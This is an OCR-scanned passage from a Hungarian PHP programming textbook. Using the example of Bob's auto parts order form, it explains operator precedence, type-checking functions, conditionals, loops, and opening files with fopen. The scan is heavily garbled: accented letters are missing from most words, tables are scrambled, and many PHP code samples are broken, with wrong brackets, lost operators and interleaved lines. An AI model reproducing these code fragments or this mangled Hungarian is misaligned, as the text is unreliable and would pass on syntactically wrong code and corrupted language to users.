Rendelsi eredmnyek Rmddkid6pga!JI'.IIT.34.1-41h R.eodetSDiom.l2 $:264.00 VFA-Ylll:$29040
1.5 bra: A
A kd a number_ forrnat () fggvnnyel formzza a vgsszeget kt tizedesjegyet tartalmaz karakterlncc. Ez a fgg vny a PHP Math knyvtrbl szrmazik. Ha jobban megvizsgljuk a szntsokat, felmerlhet a krds, hogy mirt ebben a sorrendben hajtjuk vgre azokat. Vizs gljuk meg pldul a kvetkez utastst:
$vegosszeg = $abroncs_db * ABRONCSAR + $olaj db
*
OLAJAR
*
+ $gyertya db
GYERTYAAR;
A vgsszeg helyesnek tnik, de mirt az sszeadsok eltt vgeztk el a szorzsokat? A vlasz a mveletek elsbbsgben vagyis kittkelsk sorrendjben - rejlik.
Az 1.7 bra a mveletek PHP-beli elsbbsgi sorrencljt s csoportosthatsgt mutatja. A tblzatban a legalacsonyabb el
Csoportosthatsg
bal bal bal bal jobb bal bal bal bal bal bal bal nem rtelmezhet nem rtelmezhet bal bal bal jobb jobb nem rtelmezhet nem rtelmezhet
< << + &
%= &=
l= A= -=
<<=
>>=
!= ===
<= > >=
!==
>>
* l ! [] new ()
-
% ++
--
(int)
(double)
(string)
(array)
(object)
30
2. fejezet
Vigyzat, mg nem beszltnk a sorrendben legels mveleti jelrl, a j reg zrjelrl! A zrjel hasznlata megnveli az ltala kzrefogott tartalom elsbbsgi sorrendjt.Ezzel szksg esetn tudatosan kezelhetjk s alakthatjuk az elsbbsgi
$vegosszeg
(l +
$adokulcs);
$vegosszeg
* l +
$adokulcs;
akkor az sszeadshoz kpest magasabb elsbbsgi szint szorzs mvelet lesz elszr vgrehajtva, ami helytelen eredmnyhez vezet. A zrjelek hasznlatval kiknyszerthet, hogy elszr az
l +
A kifejezsekben tetszleges szm zrjelprt hasznlhatunk. A PHP elszr a legbels prban lv kifejezst rtkeli ki. Figyeljk meg, hogy a tblzatban szerepl egyik opertorral mg nem foglalkoztunk! Ez nem ms, mint az- echo-val egyenrtk- print nyelvi alkotelem, amely kimenetet generl. Knyvnkben ltalban az echo-t hasznljuk, de ha a Kedves Olvas a pr int-et szimpatikusabbnak tallja, nyugodtan vlassza azt! Sem az elbbi, sem az utbbi nem igazn fggvny, ennek ellenre tekinthetjk ket a zrjelben paramtert tar talmaz fggvnynek is. Mindkett kezelhet mveleti jelknt: a hasznlni kivnt szveget egyszeren az echo vagy a print kulcssz mg rjuk. A print azrt tekinthet fggvnynek, mert rtket (l) ad vissza.Ez hasznos lehet, amikor sszetettebb kifejezsen bell kvnunk kimenetet generlni, de az echo-nl rnyalatnyival lassabb teszi.
A gettype( ) hasznlathoz rnindenkppen t kell adnunk vltozt. A fggvny meghatrozza annak tpust, majd a t pusnevet tartalmaz szveget ad vissza, ami bool, int, double (float tpusok), string,array,obj ect,resource vagy
NULL lehet. Amennyiben a vltoz tpusa nem szabvnyos, a fggvny az unknown type szveget adja vissza.
A settype () fggvnynek kt paramtere van: elszr tadjuk neki a vltozt, amelynek meg kvnjuk vltoztaeni a tpu st, majd az j adattpust tartalmaz karakterlncot (a tpust az elz listbl vlaszthatjuk ki).
Megjegyzs: A knyv, akrcsak a php.net dokumentci, tbbszr hivatkozik "mixed'; azaz vegyes adattpusra. Ilyen adatt
pus nem ltezik, de mivel a PHP igen rugalmasan kezeli a tpusokat, sok fggvny szinte brmilyen adattpust elfogad. A sokf " le adattpust elfogad paramtereket jelljk "mixed tpusknt.
A kvetkezkppen hasznlhatjuk ezeket a fggvnyeket:
$a
56;
'double');
A gettype () els hvsakor az $a integer tpus. A settype () hvsa utn tpusa double-ra vltozik. A PHP adott tpusok ellenrzsre alkalmas fggvnyeket is knl. Mindegyiknek egy vltoz a paramtere, s true vagy
false rtket ad vissza. Az albbi fggvnyek tartoznak ide: is_array()-Megllaptja, hogy a vltoz tmb-e. is_double(),is_float(),is_real() (ugyanaz a fggvny)-Megllaptja, hogy a vltoz float tpus-e. is_long(),is_int(),is_integer() (ugyanaz a fggvny)-Megllaptja, hogy a vltoz integer tpus-e. is_ string()-Megllaptja, hogy a vltoz string tpus-e.
PHP gyorstalpal
31
is_bool () -Megllaptja, hogy a vltoz boolean tpus -e. is_object () -Megllaptja, hogy a vltoz object tpus-e. is_resource() - Megllapga, hogy a vltoz resource tpus-e. is_ null () - Megllaptja, hogy a vltoz null tpus-e. is_scalar() - Megllapga, hogy a vltoz skalris-e (integer,boolean, string vagy float tpus valamelyike). is_numeric() - Megllapga, hogy a vltoz valamilyen szm vagy numerikus szveg-e. is_callable ()-Megllaptja, hogy a vltoz egy rvnyes fuggvny neve-e.
.. . ]])
A fuggvny vltoznevet fogad paramterknt, s true rtket ad vissza ltez vltoz esetn, egybknt pedig false-t. Ha vltoznevek vesszvel elvlasztott listjt adjuk az is set ()-nek,a fuggvny akkor tr vissza true rtkkel,ha az sszes vltoz ltezik. Az unset() fuggvnnyel megszntethetnk vltozkat. A fuggvny prototpusa a kvetkez: void unset(mixed valtozo); [;mixed valtozo[, . ..]]) A fuggvny eltvoltja a neki radott vltozt. Az empty ( ) fuggvnnyel ellenrizhetjk vltoz megltt s azt, hogy nem res,nem nulla rtkkel br; ennek megfelelen
true vagy false rtket ad vissza. Prototpusa a kvetkez: bool empty(mixed valtozo);
Nzznk pldt ennek a hrom fuggvnynek a hasznlatra! tmenetileg adjuk kdunkhoz a kvetkez sorokat:
echo ech o echo echo 'isset($abroncs_db): 'isset($nincs_i lyen) : 'empty($abroncs db): 'empty($nincs_ilyen): '.isset($abroncs db). '<br />'; '. isset($nincs ilyen). '<br />'; '.empty($abroncs_db). '<br />'; '.empty($nincs i lyen). '<br />';
Frisstsk az oldalt, s nzzk meg az eredmnyt! Az isset() fuggvny az rlapmezbe bevitt rtktl fuggedenll-et (true ) ad vissza az $abroncs_db vltozra,mg akkor is,ha semmilyen rtket nem adtunk meg az rlapon. Az empty () fuggvny ltal visszaadott rtk viszont attl fugg, hogy mit gpeltnk be. A $nincs_ilyen vltoz nem ltezik, ezrt az isset() fuggvny res ( false ) eredmnyt,az empty() pedigl-et
(true) ad vissza.
Ezek a fuggvnyek akkor tudnak igazn hasznunkra vlni,amikor ellenriznnk kell, hogy a felhasznl kitlttte-e egy rlapon a szksges mezket.
Vltozk tpuskonverzija
A vltozk tpusalaktst fuggvnyhvssal is elrhetjk. Az albbi hrom fuggvny hasznlhat erre a clra:
int intval(mixed valtozo[, int alap]); float floatval(mixed valtozo); string strval(mixed valtozo);
Mindegyik vltozt fogad paramterknt, s annak megfelel tpusra alaktott rtkt adja vissza. Az intval() fuggvny nl mg a konvertls alapjt is meghatrozhatjuk, ha az talaktani kvnt vltoz szveg. (gy pldul egsz szmm alaktha runk hexadecimlis karakterlncokat.)
utastsoknak nevezzk.
32
2. fejezet
if
utastsok
Az if utastst dntshozsta hasznlhatjuic A dntshez meg kell adnunk a kirtkelend felttelt. Amennyiben az true,
vagyis igaz, akkor a kvetkez kdblokk fog vgrehajtdni. Az if utasts felttelt zrjelek {) kz rjuic Ha pldul a ltogat nem rendel Bobtl sem gumiabroncsot, sem olajat, sem gyertyt, akkor elkpzelhet, hogy vletlenl mr az rlap kitltsnek befejezse eltt rkattintott a.,Rendels kldse" gombra. Ekkor ahelyett, hogy kzlnnk a vevvel, hogy megrendelst feldolgoztuk, jobb lenne, ha az oldal hasznos zenetet jelentene meg szmra. Amikor a ltogat egyetlen ttelt sem rendel. kzlheljk vele pldul azt, hogy.. Egyetlen ttelt sem rendelt az elz olda lon!" Ezt egyszeren megteheljk az albbi if utastssal:
if{ $osszmennyiseg ==
==
hogy az egyenl mveleti jel ( ==) eltren mkdik, mint az rtkad opertor ( = ) ! Az $osszmennyiseg == O felttel akkor teljesl s lesz true, utasts lesz vgrehajrva. nyiben az $osszmennyiseg rtke nem nulla, a felttel nem teljesl, azaz false lesz. A felttel teljeslse esetn az echo
Kdblokkok
Gyakran elfordul, hogy feltteles utasts, pldul az if teljeslstl fggen egynl tbb utastst szecetnnk vgrehajtani. Az utastsokat blokkokba csoportosthatjuk. A blokkot kapcsos zrjelekkel fogjuk krl:
if {$osszmennyiseg ==
0)
echo '<p style="color:red">'; echo 'Egyetlen ttelt sem rendelt az elz oldalon!'; echo '</p>' ;
A kapcsos zrjelek ltal kzrefogott hrom sor immr egy kdblokkot kpez. A felttel teljeslse esetn rnindhrom sor vgreh:Ytdik. Ha a felttel nem teljesl. akkor az alkalmazs nem foglalkozik ezzel a hrom sorral.
Megjegyzs: Mint mr utaltunk r, a PHP-t nem rdekli kdunk elrendezse. Olvashatsgi okokbl azonban rdemes beh zsokkal tagolni kdunkat. Behzs hasznlatval szempillants alatt lthatjuk, hogy mely sarok hajtdnak vgre az ifjelttelek teljeslsekor, mely utastsok vannak az adott blokkokba csoportostva, s mely utastsok kpezik ciklusok vagyJggvnyek rszt. Az elz pldkban lthatjuk, hogy az if utaststl fgg utasts, illetve a blokkat alkot utastsok behzva jelennek meg. utastsok
e ls e
Gyakran nem csak arra van szksgnk, hogy eldnthessk, szeremnk-e egy mveletet vgrehajtani vagy nem, hanem a vizs glt felttel nem teljeslsnek esetre is szecetnnk megadni a lehetsges tennivalkat. Az else utastssal meghatrozhaljuk azt a mveletet, atrtit az if utastsban megadott felttel nem teljeslse esetn kell vgrehajtani. Tegyk fel, hogy figyelmeztetni szeretnnk Bob gyfeleit, ha resen kldik el a megrendelst! Ha viszont rendel nek valamit, akkor a figyelmeztets helyett a rendelsket szeretnnk megjelenteni szmukra. Ha tdolgozzuk a kdot, s else utastssal egszljk ki, a vsrl lpstl fggen figyelmeztetst vagy a rendels ssze foglalst is megjelentheljk szmra:
if {$osszmennyiseg
==
0)
echo "Egyetlen ttelt sem rendelt az elz oldalon!<br />"; else echo $abroncs db." gumiabroncs<br />"; echo $olaj_db." flakon olaj<br />"; echo $gyertya_db." gyjtgyertya<br />";
Az if utastsok egymsba gyazsval bonyolultabb logikai mveleteket is vgrehajthatunk. A kvetkez kd esetn a figyel
meztets akkor jelenik meg, ha az $osszmennyiseg == O felttel teljesl, a rendels sszefoglalsnak sorai pedig csak akkor jelennek meg, amennyiben a vev az adott termkbl rendelt valamennyit:
if ($osszmennyiseg ==
0)
PHP gyorstalpal
33
} else {
if {$abroncs_db > 0) echo $abroncs_db." gumiabroncs<br />"; if {$olaj_db > 0) fiakon olaj<br />";
echo $olaj_db." if
($gyertya_db > 0)
elseif
utastsok
Szmos olyan dnts ltezik, amikor kettnl tbb lehetsgnk van. Klnbz kimenetek sorozatt teremthetjk meg az
elseif utastssal, amely egy else s egy if utasts kombincija. Amikor felttelek sorozatt hatrozzuk meg, a prog
ram mindegyiknek a teljeslst ellenrzi - egszen addig, amg valamelyik igaznak nem bizonyul. Bob kedvezmnyt ad a nagyttelben vsrolt gumik utn. A kedvezmnyek rendszere a kvetkezkppen mkdik: 10-nl kevesebb gumiabroncs vsrlsa - nincs kedvezmny 10-49 gumiabroncs vsrlsa- 5 %kedvezmny 50- 99 gumiabroncs vsrlsa- 10 %kedvezmny 100 vagy tbb gumiabroncs vsrlsa- 15 %kedvezmny A kedvezmnyeket Iciszmol kdot felttelek, illetve if s elseif utastsok hasznlatval rhatjuk meg. Ebben az esetben
az
if ($abroncs_db <
{
10) ($abroncs db <= 49))
O;
&&
5;
&&
elseif (($abroncs_db >= 50) $kedvezmeny = 10; elseif ($abroncs_db >= 100) $kedvezmeny = 15;
rdemes tudni, hogy rhatunk elseif s else if formt is- mindkt vltozat egyarnt helyes. Ha tbb elseif utastst runk, ne felejtsk el, hogy a blokkok vagy utastsok kzl csak egy lesz vgrehajtval Ez itt nem okoz gondot, mett a felttelek klcs nsen kizrjk egymst, egyszerre csak az egyik teljeslhet. Ha azonban olyan felttelekkel dolgozunk, amelyek kzl egyszerre egynl tbb is teljeslhet, akkor mr van jelentsge annak, hogy csak az els reljeslt felttelt kver blokk vagy utasts lesz vgrehatjva.
switch
utastsok
A switch utasts az if utastshoz hasonlan mkdik, de lehetv teszi, hogy a felttel kettnl tbb rtket vegyen fel. Az if utastsban szerepl felttel csak igaz vagy hamis lehet. A switch utastsbeli felttel tetszleges szm klnbz rtket felvehet, feltve, hogy az egyszer tpusknt (integer, string vagy float) rtkeldik ki. Minden egyes kezelni kvnt r tkhez case utastst adunk, illetve rdemes egy alaprtelmezett ( default ) esetet is meghatrozni, amely a case utasts sal nem lefedett rtkek esetn lesz vgrehajtva. Bob tudni szeretn, hogy melyik hirdetsei vltak be, ezrt mg egy krdst kell adnunk a megrendelsi rlaphoz. Szrjuk be
az
rlapba a kvetkez HTML kdot, ekkor az rlap az 1.6 brn lthathoz hasonlan fog megjelenni:
<td>Honnan h allott Bob autalkatrsz-boltjrl?</td>
<tr>
<td><select name="honnan- h allott-rolunk"> <option value <option value <option value <option value </select> <ltd> </tr> "a">Visszatr6 vsrl vagyok</option> "b">Tvreklm</option> "c">Telefonknyv</option> "d">Ismer6st61, bart tl</option>
34
2. fejezet
1.6 bra: A
A HTML kd j vltozt vezet be (neve honnan_hallott_rolunk) , rtke 'a', 'b', 'c' vagy 'd'
elseif
if ($honnan hallott_rolunk
"a")
l
"b")
"c")
echo "<p> Telefonknyvben tallta Bobot.</p>"; elseif ($honnan_hallott_rolunk echo "<p>Ismer6st61, else echo "<p>Nem tudjuk, honnan ismeri Bobot.</p>";
==
"d")
echo "<p> Telefonknyvben tallta Bobot.</p>"; break; case "d" : barttl hallott Bobrl.</p>";
honnan
ismeri
Bobot.</p>";
(Mindkt plda azt felttelezi, hogy a $_POST tmbbl nyerrk ki a $honnan_hallott_relunk vltozt.) A switch utasts az if s elseif utaststl kiss eltren mkdik. Az if utasts egyeden utastsra vagy kapcsos zrjelekkel ltrehozon kd blokkra hat. A switch ppen ellenttes mdon mkdik. Amikor egy switch utastsban lv case utasts aktivldik, a PHP a kvetkez break utastsig tallhat sszes kdot vgrehajtja. break utasts nlkl a switch a teljeslt felttel utni sszes utastst vgrehajtja. Amikor elri a break utastst, a switch utni kvetkez sorral folytatja a kd vgrehajtst.
PHP gyorstalpal
35
l l
az
.,
100 150 200 20 10 IS 20 2S
1.7 bra: A tblzat azt mutalja, hogy a tvolsg nvekedsvel egytt emelkedik a kiszllts kltsge.
Az 1.2 pldakd az ezt a tblzatot megjelent HTML kdot mutatja. Lthatjuk, hogy hossz s ismtld.
1.2 pldakd: kiszalli t as. html
<html> <body> <table border="O" cellpadding="3"> <tr> <td bgcolor="#CCCCCC" align="center">Tvolsg</td> <td bgcolor="ICCCCCC" align="center">Kltsg</td> </tr> <tr> <td align="right">SO</td> <td align="right">S</td> </tr> <tr> <td align="right">lOO</td> <td align="right">lO</td> </tr> <tr> <td align="right">lSO</td> <td align="right">lS</td> </tr> <tr> <td align="right">200</td> <td align="right">20</td> </tr> <tr> <td align="right">250</td> <td align="right">25</td> </tr> </table> </body> </html>
-
36
2. fejezet
Ahelyett, hogy rabrben fizetett s knnyen fsultt vl alkalmazottal gpeltetjk be a HTML kdot, rdemes az olcs s fradhatatlan szmtgpet hasznlni erre. Az utastsokat ciklusba helyezve kiadjuk a PHP-nek, hogy ismtlden hajtsa
wh i
l e ciklusok
A legegyszerbb ciklus a PHP-ben a while. Az if utastshoz hasonlan ennek mkdse is egy feltteltl fligg. A while ciklus s az if utasts kztt az a klnbsg, hogy az utbbi csak egyszer hajtja vgre az utna lev kdot, s csak akkor, ha a megadott felttel teljesl. A while ciklus mindaddig ismtlden vgrehajtja a blokkot, amg a felttel teljesl. A while ciklust jellemzen akkor hasznljuk, amikor nem tudjuk, hny ismtlds fog bekvetkezni addig, amg a felttel igaznak bizonyul. Ha meghatrozott szm ismtldsre van szksg, rdemes inkbb a for ciklust hasznlni. A while ciklus alapstruktr:ija a kvetkez:
while( felttel ) kifejezs;
5 ) {
Minden ismtlds elejn a kd teszteli a felttel teljeslst. Ha a felttel hams, a blokk nem hajtdik vgre, s vget r a ciklus. A ciklus utni kvetkez utastssal folytatdik a kd futsa. A while ciklusok ennl hasznosabb dolgokra, pldul az 1.7 brn lev, ismtld tblzat megjelentsre is kpesek. Az 1.3 pldakd while ciklussal lltja el a djtblzatot.
50; 250) {
l 10). "</td>
50;
A kd ltal generlt HTML olvashatv ttelhez j sorokat s szkzket kell beillesztennk. Ahogy mr jeleztk, a bn gszk ugyan figyelmen kvl hagyjk a fehrkz karaktereket, m az emberek rniatt szksg van rjuk. Hiszen, ha a kimenet nem teljesen egyezik meg a vrttal, gyakran kell a HTML kdot bngsznnk. Az 1.3 pldakdban \n karaktereket lthatunk egyes szetingeken bell. Ha ketts idzjelben lv szvegben szerepel, akkor ez a karaktersor jsor karaktert jelent.
PHP gyorstalpal
37
den ismtldse eltt a felttelben ellenrizzk a szmllt, a vgnl pedig mdostjuk annak rtkr.
for ciklus segtsgvel ennl rvidebben is rhatunk ilyen stlus ciklust. A for ciklus alapszerkezere a kvetkez: for( kifejezsl;
felttel; kifejezs2)
kifejezs];
Kezdskor vgrehajtdik a kifejezs l. Itt ltalban a szmll kezdeti rtkt llguk be. Minden egyes ismtlds eltt a felttel ben szerepl kifejezs rtkeldik ki. Ha a kifejezs hamis, az ismtlds
-
vget r. Itt ltalban egy rtkhatrral hasonlgak ssze a szmllt. Minden ismtlds vgn vgrehajtdik a kifejezs2. Itt ltalban mdosguk a szmll rtkr.
Akifej e zs3 ismtldsenknt egyszer hajtdik vgre. Ez ltalban egy kdblokk, amely a ciklus kdjnak lnyegr
tartalmazza.
Az 1.3 pldakdban szerepl wh ile ciklust trhatjuk for cikluss. Ebben az esetben a PHP kd a kvetkezkppen
nz ki:
<?php
for ($tavolsag = 50; $tavolsag <= 250; $tavolsag += 50} echo "<tr> <td align=\"right\">".$tavolsag."<ltd> <td align=\"right\">". ($tavolsag l 10) ."<ltd> <ltr>\n";J {
?>
Mkdsket tekintve a while s a for ciklust hasznl vltozatok egyenrtkek. A for ciklus valamivel tmrebb, kt sort megsprolhatunk vele.
Akr ciklustpus egyenrtk, egyik sem rosszabb vagy jobb, mint a msik. Minden helyzetben azt a ciklust hasznljuk,
amir sztnsen vlasztannk! Vltoz vltozkat for ciklussal kombinlva ismtld rlapmezk sorozatt jrhatjuk be. Ha pldul nevl, nev2, nev3 stb. nev rlapmezkkel dolgozunk, akkor a kvetkezkppen dolgozhatjuk fel ezeket:
for ($i=l ; $i <= $nevek_szama; $i++} { $temp= "nev$i"; echo $$temp.'<br l>'; ll vagy amilyen ms feldolgozsi mdszerre van szksgnk Avltoznevek dinamikus ltrehozsval
az
Afor ciklus mellett foreach ciklus is ltezik, amit kifejezetten a tmbkkel vgzett munkra alakrottak ki. Hasznlat
do ...while ciklusok
Az urolsknt bemutatand ciklustpus enyhn eltr mdon viselkedik. A do...while ltalnos szerkezete a kvetkez: do
kifejezs;
while( felttel } ; A do ...while ciklus abban klnbzik a while ciklusrl, hogy a felttel ellenrzsre a vgn kerl sor (htultesztels
ciklus). Ezt azt jelenti, hogy a do... while ciklus esetn a benne lev urasrs vagy blokk minden esetben legalbb egyszer vgrehajtdik. Mg a kvetkez pldban is, amelyben a felttel mr az elejn nem teljesl- s soha nem is fog-, a ciklus egyszer lefut, mieltt ellenrizn a felttelt s lellna:
$num = 100; do{ echo $num."<br l>"; }while ($num < l
38
2. fejezet
Amennyiben ciklus vgrehajtst akarjuk meglltani,akkor a switch utastst bemutat rszben trgyalt break utas
tst kell hasznlni. Ha ciklusorr bell break utastst hasznlunk, a kd vgrehajtsa a ciklus utni kvetkez kdsorral fog folytatdni. Ha a ciklus kvetkez ismtldsre kvnunk ugrani,akkor a continue utastst kell alkalmaznunk. Ha a teljes PHP kd vgrehajrsr akarjuk befejezni,akkor az ex it utastst hasznljuk. Ez a faj ra megkzelts jellemzerr hibaellenrzskor lesz hasznos. Pldul a kvetkezkppen mdosrhaguk az elz pldt:
if($osszmennyiseg == echo exit;
0) {
jel({),ms nven az utasts zrjel helyett kettspontot (:),a zr kapcsos zrjel helyett pedig egy j kulcsszt hasznlunk, amely a hasznlt vezrlsi szerkezettl fggerr endif, endswitch, endwhile, endfor vagy endforeach lehet. A do ...
while
az
if
if
endif;
ll blokk }
Ezzel a szerkezetteljuttatsi direktvkat lltunk be-vagyis szablyokat arra vonatkozan, hogyan fusson le a kvetkez kd. Jelenleg egyetlen,a tick nev futtatsi direktva van belltva. A ticks=n direktva beszrsval kapcsoljuk be. Lehetv teszi,hogy a kdblokk rninden n. sorban futtassunk egy adott fggvnyt, amely elssorban a profilozs s hibakeress esetn hasznos. A declare vezrlsi szerkezeter itt csak a teljessg kedvrt emltettk meg. A tick fggvnyek hasznlatt bemutat pldkkal a 25. (PHP s MySQL hasznlata nagyobb projektekhez) s a 26. fejezetben (Hibakeress) tallkozunk.
Hogyan tovbbi
Mosr mr tudjuk, hogyan fogadjuk s kezeljk a vevk megrendelseit. A kvetkez fejezerben megranuljuk, hogyan troljuk el azokat,hogy a ksbbiekben visszakereshetk s teljesrhetk legyenek.
2
Adatok trolsa s visszakeresse
Most, hogy mr tisztban vagyunk azzal, hogyan rjk el s kezelhetjk a HTML rlapba bevirt adatokat, nzzk meg, miknt lehet ksbbi felhasznls cljbl eitroini azokat! Az esetek tbbsgben - ahogy az elz fejezet pldjban is - pontosan ez a clunk: a ksbbi visszakereshetsg rdekben eitroini az adatokat. A pldban az gyfelek megrendelseit fogjuk eltrolni, majd ksbb betlteni. Ebben a fejezetben megranuljuk, hogyan rhatjuk az elz pldbl szrmaz megrendelseket fjlba, illetve hogyan olvas hatjuk vissza azokat. Az is kiderl, hogy mirt nem minden esetben lesz ez j megolds. Ha nagyszm megrendelssel dolgo zunk, rdemes inkbb adatbzis-kezel rendszert, pldul MySQL-t hasznlni. A fejezetben az albbi fbb tmakrket rintjk: Adatok elmentse ksbbi hasznlat cljbl Fjl megnyitsa Fjl ltrehozsa s fjlba rs Fjl bezrsa Olvass fjlbl Fjlok zrolsa Fjlok rrlse Egyb hasznos fjlfggvnyek hasznlata Egy jobb mdszer; adatbzis-kezel rendszerek hasznlata
Az egyszer fjl sokfle formtum lehet, de az ilyen fjlok alatt ltalban egyszer szveges fjlt rtnk. A fejezet pldj ban szveges fjlba rjuk az gyfelek megrendelseit gy, hogy minden sorba egy megrendels kerl. A megrendelsek ilyetn trolsa igen egyszer, m nagymrtkben beszkiti majdani lehetsgeinket, ahogy azt a fejezet ksbbi rszben ltni fogjuk. Ha jelents mennyisg informcival dolgozunk, clszerbbnek fogjuk tallni adatbzis hasz nlatt. Az egyszer fjloknak is megvan azonban a maguk haszna, s bizonyos helyzetekben jl jn, ha tudjuk hasznlni ket. A fjlba rs s fjlbl olvass folyamata sok programozi nyelvben hasonl. Azok, akik programoztak mr C-ben, vagy rtak mr Unix shell szkripteket, ismersnek fogjk tallni ezeket az eljrsokat.
40
2. fejezet
====::::J
---- --
-=.--=.cd.__-----------,
2
_
2.1 bra: A
A szlltsi cmhez tartoz rlapmez neve szalli tasi eim. Az gy kapott vltozt az rlap adaekldsi metdustl fggen$ REQUEST ['szalli tasi_eim ] ,$ POST [ 'szalli tasi_eim' l vagy$_GET ['szalli tasi_eim' l for
' _
gyorstalpal cm l. fejezetet!)
A mostani fejezet sorn ugyanabba a fjlba rjuk a berkez megrendelseket. Ezt kveten elksztjk Bob alkalmazottai szmra az internetes felletet, ahol megtekinthetik a berkezett megrendelseket.
Fjlok feldolgozsa
Az adatok fjlba rshoz hrom lpsre van szksg:
l. A fjl megnyitsa. Amennyiben a fjl mg nem ltezik, ltre kell hoznunk. 2. Adatok rsa a fjlba. 3. A fjl bezrsa.
Amikor fjlbl kivnunk adatokat beolvasni, tbbfle vlasztsi lehetsgnk van arra vonatkozan, hogy egyszerre a fjl mekkora rszt olvassuk be. A leggyakoribb lehetsgeket rszletesen bemutatjuk. Egyelre azonban kezdjk a dolgot a legele jn, a fjl megnyitsva!!
Fjl megnyitsa
A fjlok PHP-beli megnyitshoz az fo pen ( ) fggvnyt hasznljuk. Amikor megnyirunk egy llomnyt, meg kell hatroz nunk, hogy miknt kivnjuk hasznlni. Ezt a megnyitsi
A szerver opercis rendszernek tisztban kell lennie azzal, hogy mit szerernnk tenni az ppen megnyrni kivnt fjllal. Tudnia kell, hogy amg ltalunk meg van nyitva az llomny, ms kd egyltaln megnyithatja-e, illetve hogy mi (vagy a kd tulajdonosa) rendelkeznk-e egyltaln jogosultsggal a kivnt mdon hasznlni a fjlt. A megnyitsi mdok lnyegben olyan mechanizmust adnak az opercis rendszernek, amivel meg tudjk hatrozni, miknt kezelje a ms felhasznlktl vagy k doktl rkez hozzfrsi krseket, s mdszert knlnak annak ellenrzsre, hogy van-e hozzfrsnk s jogosultsgunk az adott fjlhoz. Fjl megnyitsakor hrom dntst kell hoznunk:
l. A fjlt megnyithatjuk csak olvassra, csak rsra, vagy rsra s olvassra is. 2. Amikor fjlba runk, fellrhatjuk a meglv fjl jelenlegi tarcalmt, vagy j adatokat fzhetnk a vghez. Ltez fjl ese
tn fellrs helyerr azt is megcehetjk, hogy jelezzk a felhasznlnak a fjl megltt, majd a fjl mdostsa nlkl kilpnk a programbl.
3. Amennyiben a binris s szveges fjlokat megklnbztet rendszeren prblunk meg fjlba rni, azt is meg kell hatroz
nunk, hogy binrisknt vagy szvegesknt akarjuk-e kezelni a fjlt. Az fopen ( ) fggvny e hrom lehetsg tetszleges kombincijt tmogatja.
41
fjlt rsra:
=
$fp
'w');
Az fopen ( ) fggvny meghvsakor kett, hrom vagy ngy paramtert vr. ltalban kettt lthatunk, mint a fenti kd sorban is. Az els paramter a megnyitni kivnt fjl legyen! Megadhatjuk elrsi tvonalt, mint ebben a pldban is; jelen esetben
a r endele sek.
zt hasznltuk, de akrcsak az rlapvltozk krlmnyes teljes neveinl, rvidebb nevet rendeltnk hozz. Ez a vltoz a webszerver dokumentumfjnak tetejre mutat. A kdsor a .. karakterekkel..a dokumentum gykrknyvtr nak szlknyvtrra" utal. Ez a knyvtr biztonsgi okokbl a dokumentumfn kivl helyezkedik el. Jelen esetben nem szeret nnk, hogy ez a fjl- az ltalunk ksztend internetes felletet leszmtva- interneten keresztl elrhet legyen. Ezt az elr si tvonalat relatv elrsi tvonalnak nevezzk, mert a dokumentumgykrhez viszonytva mucat a f;ijlrendszer adott helyre. A krcsak az rlapvltozkhoz rendelt rvidebb nevek esetn, most is az albbi sort kell a kd elejn szerepeltetnnk ahhoz, hogy tmsoljuk vele a hossz stlus vltoz tartalmt a rvidebb nevbe:
$DOCUMENT_ROOT
=
$_SERVER['DOCUMENT_ROOT'];
Ahogy az rlapadatok elrsnek is tbb mdja lehetsges, az elre definilt szervervltozkat is klnbzkppen rhetjk el. Kiszolglnk belltstl fggen (a rszleteket lsd az l. fejezetben)a kvetkezkkel jutharunk a dokumenrumgykrhez:
$_SERVER['DOCUMENT_ROOT'] $DOCUMENT_ROOT $HTTP_SERVER_VARS['DOCUMENT_ROOT']
Az rlapadatokhoz hasonlan itt is az els stlus ajnlott. A fjlokhoz abszolt elrsi tvonalat is megadhatunk. Ez a gykrknyvtrbl (Unix-rendszeren l, windowsos rendszeren lcalban C:\) indul elrsi tvonal. Unixos szervernkn ez az tvonal valami ilyesmi lenne: /home/book/rendelesek. Ezzel a megkzeltssel az a gond, hogy - klnsen akkor, ha nem sajt kiszolglnkon troljuk oldalunkar- az abszolt elrsi tvonal mdosulhat. A szerzk mr megfizettk a tanulpnzt, mert egyszer a rendszergazdk rtests nlkl megvl toztattk a knyvtrstrukrrt, s ezrt knyeelek voltunk a teljes kdban mdostani az abszolt elrsi tvonalakat. Ha nincsen elrsi tvonal meghatrozva, a fjl abban a knyvrrban jn ltre, vagy ott fogja az opercis rendszer keresni, ahol a kd maga tallhat. A hasznlt knyvtr eltr lesz, ha valamilyen CGI wrapperen (rtelmezn)keresztl futtaguk
a
PHP-t, s fgg a szerverbellrsoktl is. Unixos krnyezetben hagyomnyos perjeleker (/)hasznlunk az elrsi tvonalakban. Windowsos platform esern ha
gyomnyos (/)s fordrott perjeleker ( \) is alkalmazhatunk. Az utbbi esern klnleges karakterknt kell jellnnk ket az
fopen () fggvny szmra, hogy megfelelen rtelmezze azokat. Vdkarakrerknr egyszeren egy msik fordtorr perjelet
fopen("$DOCUMENT ROOT\\..\\rendelesek\\rendelesek.txt",
'w');
Nagyon kevesen hasznlnak fordtott perjeleket a PHP-beli elrsi tvonalakban, mert az azt eredmnyezi, hogy a kd csak windowsos krnyezetben fog mkdni. Hagyomnyos perjelek alkalmazsa esern minden mdosrs nlkl hasznlharjuk
a kdot
Az fopen () msodik paramtere a megnyirsi md, amelynek karakterlncnak kell lenni. Ez hatrozza meg, hogy rnir sze reennk tenni a fjllal. Jelen esetben a paramtert adjuk az f o p e n () fggvnynek, ez azt jelenti, hogy ..a fjl megnyitsa rsra:' A megnyitsi mdok sszefoglalsr a 2.1 tblzarban talljuk.
Mdneve
Olvass (Read) Olvass (Read) rs (Wrire) rs (Write) varos rs (Cautious write)
w+
42
2. fejezet
Md
x+
Mdneve
vacos rs (Cautious wrice)
Jelentse
Fjl megnyitsa rsra s olvassra a fjl elejn kezdve. Ltez fjl esetn nem nyitja meg azt, az fopen() false rtkkel tr vissza, a PHP pedig figyelmezce tse generl.
